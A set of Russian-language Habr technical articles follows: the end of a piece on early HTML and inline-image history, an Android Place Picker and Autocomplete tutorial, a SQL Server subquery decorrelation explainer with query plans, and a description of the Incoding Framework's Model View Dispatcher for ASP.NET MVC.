> > > В том же 1993 году, но немного позже Дейв опубликовал стандарт HTML+, задуманный им в качестве замены первоначальному HTML. Стандарт не был реализован; на смену HTML пришел ретроспективный HTML 2.0 — формальное описание того аппарата тегов, который на момент принятия стандарта уже широко использовался: «Эта спецификация сводит воедино, уточняет и формально описывает функции из того набора, который приблизительно соответствует возможностям общеупотребительного HTML по состоянию на июнь 1994 года».
> > >
> > > Позже на основе спецификации HTML+ Дейв Рэггет создал стандарт HTML 3.0. Нигде, кроме внутренней (используемой W3C в качестве эталона) программы Arena, стандарт HTML 3.0 не был реализован. На смену ему пришел HTML 3.2 — вновь ретроспектива: «Сохраняя полную обратную совместимость с существующим HTML 2.0, стандарт HTML 3.2 добавляет к нему широко распространенные новые функции: таблицы, приложения и обтекание изображений текстом».
> > >
> > > Еще позже Дейв выступил в качестве одного из соавторов HTML 4.0, разработал HTML Tidy, принимал участие в подготовке XHTML, XForms, MathML и других современных спецификаций W3C. В далеком 1993 году Марк ответил Дейву так:
> > >
> > > >
> > > > Может быть, стоило бы действительно задуматься о графическом процедурном языке общего назначения, возможности которого позволили бы присоединять произвольные гиперссылки к значкам, картинкам, тексту и т . д .? Не известно ли кому-нибудь из подписчиков, как с этим обстоит дело в проекте Intermedia?
> > > >
> > >
> > >
> > > Intermedia — это гипертекстовый проект Брауновского университета. Работа над ним велась в 1985–1991 годах. Рабочей средой для Intermedia была операционная система A/UX — UNIX-подобная среда, функционирующая на компьютерах Macintosh первых поколений. Мысль о «графическом процедурном языке общего назначения» впоследствии прижилась. Современные браузеры поддерживают как SVG-графику (декларативную разметку со встроенной возможностью разработки сценариев), так и (процедурный интерфейс непосредственного программирования графики). Правда, исторически был проприетарным расширением для браузера и рабочая группа WHAT внесла его в спецификацию постфактум.
> > >
> > > Билл Дженсен (Bill Janssen) сообщил:
> > >
> > > >
> > > > Функциональность, о которой вы говорите, действительно очень ценна . Кроме Intermedia, есть другие системы, в которых она реализована: Andrew и Slate . В основе Andrew лежит система вставок . Каждой вставке присвоен определенный тип: текст, растровое изображение, векторное изображение, анимация, электронное письмо, таблица и др . Реализовано рекурсивное вложение произвольной глубины, то есть вставка любого типа может быть вложена во вставку любого из типов, поддерживающих вложение. Так, например, можно поместить вставку в тексте после любого символа (если мы работаем с текстовым окном), в любой прямоугольной области (если мы работаем с графикой), в любой ячейке (если мы имеем дело с таблицей).
> > > >
> > >
> > >
> > > Andrew — сокращенное название системы пользовательского интерфейса Andrew. Ее в те годы все называли Andrew Project. Тем временем Томас Файн (Thomas Fine) выдвинул альтернативное предложение:
> > >
> > > >
> > > > Я думаю так . Работу с изображениями в Сети лучше всего построить на системе MIME-типов. А формат Postscript, для которого наверняка уже существует особый тип, как раз позволяет совмещать текстовую и графическую информацию с большим удобством . «Но в нем ведь не будут работать гипертекстовые ссылки», — скажете вы . Да, это так . Однако мне кажется, что проблему решает технология Display Postscript . Если и нет, то дополнить до этого стандартный Postscript — легкая задача . Определим команду-якорь, которая бы содержала URL и интерпретировала текущий контур как замкнутую область-кнопку . Поскольку в Postscript предусмотрена прорисовка контуров, это позволяет легко делать кнопки произвольной формы .
> > > >
> > >
> > >
> > > Display PostScript — технология экранной прорисовки, совместно разработанная Adobe и NeXT.
> > > Это предложение не было реализовано. До сих пор, впрочем, время от времени озвучивается мысль о том, что для улучшения языка HTML надо его просто чем-нибудь заменить.
> > >
> > > 2 марта 1993 года Тим Бернерс-Ли оставил такой комментарий:
> > >
> > > >
> > > > В HTTP2 документам разрешено нести любой MIME-тип, понимаемый клиентской программой, а не только какой-либо один из зарегистрированных . Это оставляет пространство для экспериментов . Думаю, Postscript с поддержкой гипертекста мог бы стать предметом таких экспериментов . Не знаю, достаточно ли функциональности у Display Postscript, но мне известно, что
> > > > компания Adobe сейчас активно продвигает свой формат PDF на основе Postscript . В документах этого формата будут работать гиперссылки, но просматривать такие документы можно будет только в проприетарных программах Adobe. Я полагал, что обобщенный язык якорей (на основе HyTime?) позволит гипертекстовым и мультимедийным (графика/видео) стандартам развиваться независимо, что пойдет на пользу и тем и другим.
> > > >
> > > > Пусть лучше будет тег не IMG, а INCLUDE, который бы ссылался на документы произвольного типа . Или EMBED, если INCLUDE звучит как директива C++ и будут ошибочно думать, что нужен исходный SGML-код, который браузер будет разбирать (мы имеем в виду не это) .
> > > >
> > >
> > >
> > > HyTime — это одна из ранних гипертекстовых систем документов, основанная на разметке SGML. В обсуждениях стандартов HTML и затем XML в 1990-е годы о ней часто вспоминали.
> > >
> > > Предложенный Тимом тег так никогда и не появился, хотя отголоски этой идеи можно наблюдать в тегах , и .
> > >
> > > Наконец 12 марта 1993 года Марк Андрессен написал в той же ветви дискуссии:
> > >
> > > >
> > > > Вернусь к теме встроенных изображений . Приближается выпуск Mosaic v0 .10, в котором будет оговоренная ранее поддержка растровых изображений форматов GIF и XBM в тексте.
> > > >
> > > > Поддерживать теги INCLUDE/EMBED мы в настоящее время пока не готовы. Вероятно, сейчас придется остановиться на `` (а не ICON, потому что не всякое изображение, вставленное в текст, можно назвать значком). Пока что встроенные изображения не типизируются явным образом; мы намерены начать поддержку графических типов впоследствии, когда речь зайдет о реализации системы MIME-типов в целом . Используемые нами сейчас алгоритмы чтения изображений определяют формат на лету, так что даже расширение файла не играет никакой роли.
> > > >
> > >
> > >``
>
> | https://habr.com/ru/post/162161/ | null | ru | null |
# Исследование Google Play Services: Place Picker & Autocomplete
Виджет Place Picker и компонент Autocomplete являются мощными функциями Google Play сервисов. В данной статье мы рассмотрим их детально, а так же способы их реализации в приложениях.
С выходом Play Services 7.0, компания Google сделала доступными для реализации в наших приложениях некоторые весьма полезные функции — две из которых включают виджет выбора места (Place Picker UI) и компонент автозаполнения (Autocomplete). Они оба могут помочь значительно улучшить существующие решения в вашем приложении, или даже помочь вам в реализации подобных функций в ваших будущих приложениях. В любом случае, обеспечение родных и чистых решений, в таких часто используемых функциях, очень помогут повысить качество опыта использования, которое предлагает ваше приложение.
Взяв во внимание то, что у меня не было возможности реализовать ни одну из этих функций с момента их релиза, я решил, что уже пришло время пристально взглянуть на них.
Вместе с этой статьей я создал приложение, которое позволило провести эксперимент с этими функциями — вы можете найти код на github по [ссылке](https://github.com/hitherejoe/Pickr).
Настройка
=========
Поскольку вы все еще читаете это здесь, я полагаю, что вы хотите попробовать эти компоненты лично. Итак, до того как вы наденете свою java-шляпу и будете писать код, вам необходимо начать с добавления зависимости play-services-location в ваш build.gradle файл.
`compile 'com.google.android.gms:play-services-location:8.1.0'`
**Примечание:** В случае если вам не знаком используемый формат, вам всего лишь необходимо объявить зависимость тех play service которые вы будете использовать. Для более подробной информации рекомендую ознакомиться [с данным руководством](https://developers.google.com/android/guides/setup).
Помимо этого вам также потребуется зарегистрировать ключ API в случае использования сервисов местонахождения, что можно сделать в следующем [руководстве](https://developers.google.com/places/android-api/signup). Как только вы завершите с регистрацией, вам потребуется добавить ключ API и версию play services в ваш файл манифеста, как показано ниже:
```
```
Place Picker
============
Виджет выбора места (place picker) — это компонент пользовательского интерфейса, который предоставляет возможность взаимодействовать с интерактивной картой на основе текущего географического расположения устройства. Эта карта может быть использована для выбора расположенных поблизости мест одним из двух способов:
* **Выбор текущего местоположения** — Пользователь может двигать, отображенную на экране, карту для выбора места, если автоматически выбранное его не устраивает.
* **Выбор места рядом** — Пользователь может выбирать место из списка мест находящихся поблизости его текущего расположения, этот список может быть открыт перетягиванием с нижней части карты.
**Выбор на карте**
**Выбор из списка**
Очевидный вопрос, — «Зачем нам использовать это?»
* **Время разработки значительно сокращается** — Компоненты идут готовыми прямо-из-коробки, это значит, что все функции (карта, места, жизненный цикл, сетевые запросы и т.д.) полностью управляются виджетом. По сравнению с тем как это может быть сделано вручную, время сокращается просто колоссально.
* **Последовательный опыт использования** — Использование данного компонента не только Google, а и сторонними разработчиками (как вы) делает опыт пользователей намного легче, поскольку данный компонент им уже знаком, что исключает лишнее время на изучение работы с ним.
### Эксплуатационный процесс
Итак, теперь мы знаем с чем мы имеем дело, все выглядит так как будто мы готовы начать. Есть несколько важных операций, всегда присутствующих в жизненном цикле Place Picker'а, с которыми мы сейчас ознакомимся.
* Открытие Place Picker с помощью метода startActivityForResult(), тот момент когда мы отлавливаем выбранное место, возвращаемое нашей activity.
* Следующий шаг заключается в решении выбора изначального местоположения на карте. Если место предоставлено заранее — мы используем его, в противном случае будет выбрано текущее положение устройства.
* Выберет ли пользователь место на карте или из списка мест поблизости, или же закроет place picker не сделав выбор.
* Как только выбор сделан, place picker завершается и результат (выбранное место) возвращается в нашу activity.
**Эксплуатационный процесс Place Picker**
### Реализация
Для начала нам необходимо создать новый экземпляр builder при помощи IntentBuilder из класса Place Picker.
```
PlacePicker.IntentBuilder builder = new PlacePicker.IntentBuilder();
```
Используя этот builder, мы можем задать начальные границы широты-доготы, которые будут использоваться экземпляром place picker'а. Как упоминалось ранее, если начальное значение не установлено тогда по-умолчанию наш place picker будет использовать текущее положение устройства как `LatLngBounds`.
```
builder.setLatLngBounds(new LatLngBounds(...));
```
Как только это сделано, мы запускаем picker используя метод `startActivityForResult()`, передавая нашему builder'у экземпляр place picker'а и код запроса как параметры. Как упоминалось ранее, выбранное место (*Place*) из Place Picker'а возвращается в нашу activity в `onActivityResult`, где мы используем код запроса **PLACE\_PICKER\_REQUEST** для фильтрования результатов.
```
startActivityForResult(builder.build(this), PLACE_PICKER_REQUEST);
```
При вызове метода `startActivityForResult`, будет открыт виджет place picker'а в новой activity. Здесь пользователь будет делать выбор используя текущее положение или выбор места на основании рекомендаций. Как только place picker будет закрыт, наш `onActivityResult` будет вызван:
```
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
if (requestCode == PLACE_PICKER_REQUEST) {
if (resultCode == RESULT_OK) {
Place selectedPlace = PlacePicker.getPlace(data, this);
// Do something with the place
}
}
}
```
Как показано выше, мы извлекаем наше выбранное место (*Place*), когда activity возвращает его нам. Делаем мы это следующим образом:
```
Place selectedPlace = PlacePicker.getPlace(data, this);
```
В этом месте, если пользователь использует кнопку *back* для выхода из виджета picker'a без выбора места, тогда результат не будет возвращен.
**Примечание**: Вам будет необходимо наделить ваше приложение следующими правами — [ACCESS\_FINE\_LOCATION](https://developer.android.com/reference/android/Manifest.permission.html#ACCESS_FINE_LOCATION) для того чтобы использовать *Place Picker* виджет.
### Темы оформления
Чтобы оставаться в одной теме оформления с вашим приложением, по-умолчанию Place Picker виджет будет использовать цвета вашего приложения:
* *colorPrimary* — Будет использован как цвет текста и стрелки *назад* в action bar приложения
* *colorPrimaryDark* — Будет использован как цвет заднего плана для панели action bar
Будьте внимательны и перепроверьте установленные цветовые атрибуты темы.
### Сигналы Beacon
С выходом play services 7.8, виджет place picker так же может использовать сигналы от расположенных рядом маяков ([beacons](https://developers.google.com/beacons/)) для определения текущего местоположения устройства. Работает это благодаря `PlaceId` обнаруженного маяка (*beacon*) вместе с остальными обнаруженными сигналами, что доступны устройству (сеть, wifi и т.д.). На основании собранных геоданых будет построен список рекомендаций для отображения пользователю как ‘Места поблизости’ в компоненте Place Picker.
Place Autocomplete
==================
Place Autocomplete — новый компонент который может быть использован для возвращения списка рекомендуемых мест поблизости на основании поискового запроса, где результат смещен от текущего местоположения устройства. Ранее для достижение данного результата было необходимо вызывать API мест на прямую, но теперь то же самое может быть выполнено посредством обертки GoogleApiClient автоматически.
Для начала мы обязаны создать новый экземпляр класса GoogleApiClient. Для этого мы будем использовать GoogleApiClient builder, где нам так же необходимо указать, что мы желаем использовать Places API:
```
mGoogleApiClient = new GoogleApiClient.Builder(this)
.enableAutoManage(this, 0, this)
.addApi(Places.GEO_DATA_API)
.build();
```
Как результат поискового запроса так и текущее положение будут делать запрос к Auto Complete API используя этот экземпляр.
Так как в данный момент RxJava является частью моего рабочего процесса, я решил реализовать это с помощью observables. Я предлагаю вам посмотреть [завершенный класс](https://github.com/hitherejoe/Pickr/blob/master/app/src/main/java/com/hitherejoe/pickr/data/DataManager.java) чтобы разобраться в коде:
* Мы начинаем использование Places API для извлечения списка автозаполнения предсказаний основанных на предоставленных поисковых запросах и границах широты-долготы.
```
PendingResult results =
Places.GeoDataApi.getAutocompletePredictions(
mGoogleApiClient, query, bounds, null);
```
**Примечание**: Обеспечение экземпляра `LatLngBounds` не ограничивает результаты этими границами. Результаты будут смещены в предоставленных пределах, это означает, что местам поблизости будет присвоен больший приоритет.
Метод `PendingResult` используется для получения данных от Google Play Services посредством обращения к API. Мы делаем это с помощью метода `await()` чтобы дать `PendingResult` некоторый промежуток времени для возвращения нам данных.
```
AutocompletePredictionBuffer autocompletePredictions =
results.await(60, TimeUnit.SECONDS);
```
Как только мы дождались результата, мы можем проверить статус нашего DataBuffer для проверки успешности запроса:
```
final Status status = autocompletePredictions.getStatus();
if (!status.isSuccess()) {
autocompletePredictions.release();
subscriber.onError(null);
} else {
for (AutocompletePrediction place : autocompletePredictions) {
subscriber.onNext(
new AutocompletePlace(
place.getPlaceId(),
place.getDescription()
));
}
autocompletePredictions.release();
subscriber.onCompleted();
}
```
Если запрос завершен успешно, мы возвращаем набор объектов *AutocompletePrediction*, которые в теории являются минимальным объектом Place. Так как этого будет не достаточно для отображения полезной информации пользователю, мы используем `placeId` для получения полного объекта Place с API. Это осуществляется с помощью связывания запросов в наш *observable* поток, где мы получаем place таким образом:
```
final PendingResult placeResult =
Places.GeoDataApi.getPlaceById(mGoogleApiClient, id);
placeResult.setResultCallback(new ResultCallback() {
@Override
public void onResult(PlaceBuffer places) {
if (!places.getStatus().isSuccess()) {
places.release();
subscriber.onError(new Throwable(...));
} else {
subscriber.onNext(
PointOfInterest.fromPlace(places.get(0)));
places.close();
subscriber.onCompleted();
}
}
});
```
**Примечание**: Не забудьте про вызов `release` для экземпляра *PlaceBuffer*.
Эти результаты Place далее будут возвращены *activity* и отображены в результате поиска recyclerview. Дальше работает подобно примеру *Place Picker*, когда предсказания autocomplete выбраны из списка происходит возврат к *MainActivity* и отображение в списке сохраненных Places.
### Выводы
Я надеюсь, что из данной статьи вы можете сделать вывод, насколько легки в реализации и настройке продемонстрированные сервисы, и, я надеюсь, вы будете их использовать в своих приложениях.
Хотя стандартный `MapView` все еще используется во множестве разных ситуаций (в основном для более тонкой настройки и повышенной функциональности, Place Picker будет полезен в случае, когда вы не нуждаетесь в каких-либо расширенных возможностях. То же самое относится и к компоненту автозаполнения (Autocomplete), опять же, вы можете самостоятельно реализовать вызов API для получения рекомендаций на основе геоданных, но используя `GoogleApiClient` это сделать намного проще. Говоря это, я считаю, что компонентов предоставленных в Play Services будет достаточно для решения большинства повседневных задач. | https://habr.com/ru/post/270217/ | null | ru | null |
# Decorrelating Subqueries
По материалам статьи Craig Freedman: [Decorrelating Subqueries](https://docs.microsoft.com/en-us/archive/blogs/craigfr/decorrelating-subqueries)
В статье про [скалярные подзапросы](https://habr.com/ru/post/661901/) было несколько примеров, в которых оптимизатор мог переписать запрос с коррелированным подзапросом как запрос с соединением. Например, можно было видеть, как представленный ниже простой подзапрос с «in»:
```
create table T1 (a int, b int)
create table T2 (a int, b int, c int)
select *
from T1
where T1.a in (select T2.a from T2 where T2.b = T1.b)
```
Мог быть переписан как левое полу-соединение:
```
|--Nested Loops(Left Semi Join, WHERE:([T2].[b]=[T1].[b] AND [T1].[a]=[T2].[a]))
|--Table Scan(OBJECT:([T1]))
|--Table Scan(OBJECT:([T2]))
```
Обратите внимание, что между двумя просмотрами таблицы отсутствует какая-либо корреляция. Просмотр любой таблицы может происходить независимо и будет использоваться такой алгоритм соединения, какой наиболее удобен. Эту стратегию оптимизации мы называем декорреляцией. Невозможно удалить корреляцию для всех подзапросов. Например, как мы видели в предыдущих статьях, простая замена подзапроса «in» скалярным подзапросом «=» (при отсутствии уникального индекса) вынуждает оптимизатор добавить в план оператор Assert, и это не позволит избавиться от корреляции подзапроса. Даже когда мы можем декоррелировать подзапрос, в результате необязательно получаем лучший план, но появляется возможность проанализировать больше вариантов плана и найти из них лучший.
### Декорреляция подзапросов с агрегацией
Вспомним представленный ниже запрос из предыдущей статьи:
```
select *
from T1
where T1.a > (select max(T2.a) from T2 where T2.b < T1.b)
```
```
|--Filter(WHERE:([T1].[a]>[Expr1008]))
|--Nested Loops(Inner Join, OUTER REFERENCES:([T1].[b]))
|--Table Scan(OBJECT:([T1]))
|--Stream Aggregate(DEFINE:([Expr1008]=MAX([T2].[a])))
|--Table Scan(OBJECT:([T2]), WHERE:([T2].[b]<[T1].[b]))
```
Мы не можем декоррелировать этот подзапрос. Теперь рассмотрим почти идентичный запрос, но заменим в предложении where подзапроса «<» на «=»:
```
select *
from T1
where T1.a > (select max(T2.a) from T2 where T2.b = T1.b)
```
Это, казалось бы, незначительное изменение позволяет нам убрать корреляцию и написать этот запрос как обычное соединение:
```
select T1.*
from T1, (select T2.b, max(T2.a) max_a from T2 group by T2.b) S
where T1.b = S.b and T1.a > S.max_a
```
Оба запроса выбирают такой план:
```
|--Nested Loops(Inner Join, OUTER REFERENCES:([T2].[b], [Expr1008]))
|--Stream Aggregate(GROUP BY:([T2].[b]) DEFINE:([Expr1008]=MAX([T2].[a])))
| |--Sort(ORDER BY:([T2].[b] ASC))
| |--Table Scan(OBJECT:([T2]))
|--Index Spool(SEEK:([T1].[b]=[T2].[b] AND [T1].[a] > [Expr1008]))
|--Table Scan(OBJECT:([T1]))
```
Исходный план выполняет подзапрос для каждой строки T1, он работает вполне эффективно за счет предварительного вычисления всех возможных результатов агрегации для подзапроса и объединения этого результата с T2. Чтобы вычислить все возможные результаты подзапроса, к подзапросу добавляется предложение «group by» и это учитывается в ключе соединения. Оператор буферизации индекса «Index Spool» создает индекс на лету, это позволяет повысить производительность соединения. Вместо соединения вложенных циклов «Nested Loops» с просмотром таблицы на внутренней стороне у нас есть соединение «Nested Loops» индекса с поиском по индексу на внутренней стороне.
Давайте рассмотрим, когда этот новый план будет лучше изначального. Если в T2.b хранится всего несколько уникальных значений и, следовательно, будет всего несколько групп для вычисления, а также если в T1 будет много строк, новый план может оказаться очень эффективным. С другой стороны, если в T2.b много уникальных значений, а в T1 всего несколько строк, может оказаться выгоднее вычислять только те агрегаты, которые нужны:
```
set nocount on
declare @i int
set @i = 0
while @i < 10000
begin
insert T2 values(@i, @i, @i)
set @i = @i + 1
end
select *
from T1
where T1.a > (select max(T2.a) from T2 where T2.b = T1.b)
```
```
|--Filter(WHERE:([T1].[a]>[Expr1008]))
|--Stream Aggregate(GROUP BY:([Bmk1000]) DEFINE:([Expr1008]=MAX([T2].[a]), [T1].[a]=ANY([T1].[a]), [T1].[b]=ANY([T1].[b])))
|--Nested Loops(Inner Join, WHERE:([T1].[b]=[T2].[b]))
|--Table Scan(OBJECT:([T1]))
|--Table Scan(OBJECT:([T2]))
```
Этот план в основном такой же, как и исходный (с корреляцией), за исключением того, что агрегация делается после соединения.
Обратите внимание, что результаты агрегации после соединения мы группируем по [Bmk1000]. Это уникальный реляционный ключ для T1. Вы можете убедиться в том, что [Bmk1000] является ключом для T1, исследовав столбец для этих значений в результатах выполнения showplan\_all. Группировка по ключу T1 необходима, так как одна строка T1 может соединяться с несколькими строками T2, но запрос предполагает вычисление MAX(T2.a) значений для каждой строки T1.
Нет необходимости в сортировке потока после агрегации, поскольку соединение «Nested Loops» выбирает все строки T2, которые подлежат соединению со строкой из T1, прежде чем перейти к следующей строке T1. Другими словами, результаты соединения уже «сгруппированы» по T1, даже если они и не отсортированы по T1.
Если у T1 есть кластерный или любой уникальный индекс, мы будем использовать этот ключ вместо столбца закладки [Bmk1000]. На самом деле, если мы создадим уникальный ключ для T1, мы можем переписать запрос иначе:
```
create unique clustered index T1a on T1(a)
select T1.a, min(T1.b) as T1b
from T1 join T2 on T1.b = T2.b
group by T1.a
having T1.a > max(T2.a)
```
План в принципе тот же:
```
|--Filter(WHERE:([T1].[a]>[Expr1007]))
|--Stream Aggregate(GROUP BY:([T1].[a]) DEFINE:([Expr1007]=MAX([T2].[a]), [Expr1008]=MIN([T1].[b])])))
|--Nested Loops(Inner Join, WHERE:([T2].[b]=[T1].[b]))
|--Clustered Index Scan(OBJECT:([T1].[T1a]))
|--Table Scan(OBJECT:([T2]))
```
Теперь давайте рассмотрим вариант, когда в обеих таблицах много строк, размер соединения увеличивается, и оптимизатор может выбрать еще один вариант плана:
```
set nocount on
declare @i int
set @i = 0
while @i < 10000
begin
insert T1 values(@i, @i)
set @i = @i + 1
end
select *
from T1
where T1.a > (select max(T2.a) from T2 where T2.b = T1.b)
```
```
|--Hash Match(Inner Join, HASH:([T1].[b])=([T2].[b]), RESIDUAL:([T1].[b]=[T2].[b] AND [T1].[a]>[Expr1007]))
|--Clustered Index Scan(OBJECT:([T1].[T1a]))
|--Hash Match(Aggregate, HASH:([T2].[b]), RESIDUAL:([T2].[b] = [T2].[b]) DEFINE:([Expr1007]=MAX([T2].[a])))
|--Table Scan(OBJECT:([T2]))
```
Этот план по сути такой же, как исходный декоррелированный план, за исключением того, что вместо потоковой агрегации и соединения «Nested Loops» используется хэш-агрегация и хеш-соединение.
Как видите, декорреляция подзапроса может открыть возможность получения множества альтернативных планов. | https://habr.com/ru/post/674414/ | null | ru | null |
# Model View Dispatcher (cqrs over mvc)
Доброго всем времени суток, в этой статье хочу осветить ещё один компонент из библиотеки Incoding Framework.
**Model View Dispatcher (MVD)** — позволяет избавится от избыточного кода (а именно asp.net mvc controller) и упростить навигацию по проекту, уменьшив количество абстракций между клиентским и серверным кодом.
На Хабре имеются несколько статей о **IML** и **CQRS**, которые входят в состав framework
1. [Знакомство с IML](http://habrahabr.ru/post/209734/)
2. [Incoding CQRS](http://habrahabr.ru/post/211206/)
*примечание: статья была опубликована, но в то время были проблемы с аккаунтом на хабре и она прошла не замеченной*
3. [IML vs AngularJs](http://habrahabr.ru/post/214293/)
*примечание: статья подверглась критике (объективной и субъективной)*
4. [Ответ на IMl vs AngularJs](http://habrahabr.ru/post/214963/)
*примечание: нельзя назвать успехом, но уже немного лучше*
MVD фигурировал в некоторых статьях, но как часть примера демонстрирующая возможности IML, поэтому я решил рассказать о нем отдельно, но обо всем по порядку…
#### Зачем?
Рассмотрим сценарий применения asp.net mvc + cqrs
* **Controller**
```
public ActionResult Details(GetUserDetailsQuery query)
{
var model = dispatcher.Query(query);
return Json(model);
}
```
*примечание: action отвечает за binding и передачу query в Dispatcher для возврата полученных данных в виде Json*
* **View**
```
$.get('@Url.Action("Details","Controller")',callback)
```
*примечание: не хватает листинга Query для полной картины, но становится очевидно избыточность Action*
#### Диета
Чтобы посадить controller на «диету» можно воспользоватся паттерном Mediator (как один из вариантов), который опирается на Interface и Generic, но это только позволяет упростить и объединить код, но не решить проблему полностью, потому что все равно приходится писать однотипные Controller/Action.
**Model View Dispatcher** (MVD) — позволяет выполнять Command/Query в «обход» asp.net mvc. Для демонстрации перепишем предыдущую задачу, но с MVD
```
$.get('@Url.Dispatcher().Query(new GetUserDetailsQuery()).AsJson()',callback)
```
##### Подсчитаем бонусы
* Не нужен Action
* Проще навигация, потому что теперь действия на странице отражают картину (go to delcaration без посредников) на серверного кода
* Строгая типизация при построении URL (visual studio intelisence, refactor utilities)
#### Нет MVC ???
Чтобы получить ответ, посмотрим как подключить MVD к проекту:
Создать DispatcherController (начиная с версии 1.1 устанавливается через nuget), который унаследовать от DispatcherControllerBase
```
public class DispatcherController : DispatcherControllerBase
{
public DispatcherController()
: base(typeof(T).Assembly)
{ }
}
```
*примечание: конструктор принимает Assembly в котором объявлены Command/Query*
[DispatcherControllerBase](https://github.com/IncodingSoftware/Incoding-Framework/blob/master/src/Incoding/MvcContrib/MVD/DispatcherControllerBase.cs) содержит следующие методы (Actions):
```
Query(string incType, string incGeneric, bool? incValidate)
Render(string incView, string incType, string incGeneric)
Push(string incType, string incGeneric)
Composite(string incTypes)
QueryToFile(string incType, string incGeneric, string incContentType, string incFileDownloadName)
```
пример url, после вызова которого будет выполнен Push command
```
Url.Action("Push", "Dispatcher", new { incType = typeof(Command).Name } )
```
Альтернативный способ через DSL (domain specific language)
```
Url.Dispatcher().Push(new Command())
```
*примечание: дело не только в лаконичности синтаксиса (хотя это важно), но также в абстракции от деталей (имена параметров и т.д.)*
**Обратить внимание**
* MVD использует IDispatcher, который зарегистрирован в IoCFactory ([пример](https://github.com/IncodingSoftware/MVD/blob/master/MVD.Domain/Infrastructure/Bootstrapper.cs) со StructureMap в качестве провайдера)
* В качестве ActionResult возвращается [IncodingResult](https://github.com/IncodingSoftware/Incoding-Framework/blob/master/src/Incoding/MvcContrib/Core/IncodingResult.cs), который формирует JSON
`{ success: true/false , data:something/null , redirectTo:url/null }`
**Вывод:** текущая реализация MVD опирается на asp.net mvc, по факту просто делает обобщенный (не generic) Controller, но можно использовать httphandler или другой http обработчик в качестве платформы.
#### Что умеет ?
MVD покрывает большинство сценариев, которые встречаются при веб-разработке на платформе asp.net mvc:
*примечание: исходный код примеров на [GitHub](https://github.com/IncodingSoftware/MVD)*
* **Push**
```
Url.Dispatcher().Push(new AddUserCommand
{
Id = "59140B31-8BB2-49BA-AE52-368680D5418A",
Name = "Vlad"
})
```
*примечание: вопросы валидирования далее*
* **Push generic**
```
Url.Dispatcher().Push(new AddEntityCommand())
```
* **Сomposite**
```
Url.Dispatcher()
.Push(new AddUserCommand { Id = "1", Name = "Name" })
.Push(new ApproveUserCommand { UserId = "2" })
```
* **Query as json**
```
Url.Dispatcher()
.Query(new GetCurrentDtQuery())
.AsJson()
```
* **Query generic**
```
Url.Dispatcher()
.Query(new GetTypeNameQuery())
.AsJson()
```
* **Query as view**
```
Url.Dispatcher()
.Query(new GetUserQuery())
.AsView("~/Views/Home/User.cshtml")
```
*примечание: путь к View строится от корневой (в asp.net mvc относительно Controller) директории сайта, что позволяет строить любую структуру папок.*
* **Query as file**
```
[Download](@Url.Dispatcher().Query(new GetFileQuery()).AsFile(incFileDownloadName: )
```
*примечание: требуется реализация QueryBase для Query*
* **Model as view**
```
Url.Dispatcher()
.Model(new GetUserQuery.Response
{
Id = "2",
Name = "Incoding Framework"
})
.AsView("~/Views/Home/User.cshtml")
```
* **View**
```
Url.Dispatcher().AsView("~/Views/Home/Template.cshtml")
```
#### Сценарии
MVD состоит из DispatcherController (серверная часть), который используя инфраструктуру CQRS выполняет Command/Query и Url.Dispatcher (адрес строится на сервере, но далее используется на клиенте) для построения url, но не является самостоятельным компонентом, поэтому примеры будут в контексте с IML.
* **Post**
```
@(Html.When(JqueryBind.Change)
.AjaxPost(Url.Dispatcher().Push(new {Value = Selector.Jquery.Self() } ))
.OnSuccess(dsl => dsl.Utilities.Window.Alert("Success"))
.AsHtmlAttributes()
.ToCheckBox(true))
```
*примечание: в качестве параметра используется анонимный объект, но проверка на соответствие (если Value отсутствует в AddAcoGroupCommand будет exception) полей будет.*
* **Post form**
```
@model AddAcoGroupCommand
@Html.HiddenFor(r=>r.Id)
```
* **Render View**
```
@(Html.When(JqueryBind.InitIncoding)
.AjaxGet(Url.Dispatcher().AsView("~/Views/Patient/BenefitListControl.cshtml"))
.OnSuccess(dsl => dsl.Self().Core().Insert.Html())
.AsHtmlAttributes()
.ToDiv())
```
*примечание: удобно для поиска template*
```
var urlTmpl = Url.Dispatcher().AsView("~/Views/Medication/MedicationTmpl.cshtml");
dsl.Self().Core().Insert.WithTemplateByUrl(urlTemplate).Append();
```
* **Render model**
```
@(Html.When(JqueryBind.InitIncoding)
.AjaxGet(Url.Dispatcher()
.Model( new BenefitModel()
{
GroupName = Selector.Incoding.QueryString(r=>r.GroupName),
IsPrimary = true
})
.AsView("~/Views/Patient/BenefitListControl.cshtml"))
.OnSuccess(dsl => dsl.Self().Core().Insert.Html())
.AsHtmlAttributes()
.ToDiv())
```
*примечание: возможность использовать Selector (вычисляется на клиенте) при формировании url позволяет не прибегать к построению routes на клиенте.*
*примечание: больше примеров в [Inc-todo](https://github.com/IncodingSoftware/inc-todo)*
#### Action Attributes
Это мощный механизм для реализации АОП (Аспектно-ориенти́рованное программирование), частым сценарием где он применяется, может быть проверка авторизации, поэтому рассмотрим возможные пути решения:
* Отметить атрибутом DispatcherController
*примечание: способ очень удобен, если Вы пишите CRM систему и все действия проходя с авторизацией*
* Dispatcher event — поскольку все Command/Query выполняются через единую точку, это позволяет реализовать аналогичное поведение как при Action attributes.
*примечание: акцент с Action сдвигается на Command/Query*
#### Валидация
В рамках Incoding Framework есть готовая инфраструктура для валидации (в отличии от js framework тут Server/Client покрытие) и MVD интегрирован с ней.
```
@(using(Html.When(JqueryBind.InitIncoding)
.Direct()
.OnSuccess(dsl => dsl.Self().Core().Form.Validation.Parse())
.When(JqueryBind.Submit)
.PreventDefault()
.Submit()
.OnError(dsl => dsl.Self().Core().Form.Validation.Refresh())
.AsHtmlAttributes()
.ToBeginForm(Url.Dispatcher().Push(new AddUserCommand()))))
{
@Html.TextBoxFor(r=>r.Name)
@Html.ValidationMessageFor(r=>r.Name)
}
```
*примечание: поскольку код будет однотипный для большинства форм, то можно написать html helper*
Код знаком большинству разработчиков на asp.net mvc по стандартному Html.BeginForm (можно использовать его передав iml в html attributes), но с несколькими отличиями:
* При первом появление элемента на странице делаем разбор текущей формы на наличие валидации
* По событию Submit останавливаем поведение по умолчанию (чтобы форма не отправилась) и используя ajax делаем post на указанный адрес (Url.Dispatcher().Push(new AddUserCommand())
* В случае возраста ошибки (пользовательской, а не фатальной) в которой обновляем форму на основе Model State (ниже подробней)
Для понимания, как работает метод Validation.Refresh посмотрим реализацию Push в dispatcher contoller
```
if (!ModelState.IsValid)
return IncodingResult.Error(ModelState)
try
{
dispatcher.Push(composite);
return IncodingResult.Success();
}
catch (IncWebException exception)
{
foreach (var pairError in exception.Errors)
{
foreach (var errorMessage in pairError.Value)
ModelState.AddModelError(pairError.Key, errorMessage);
}
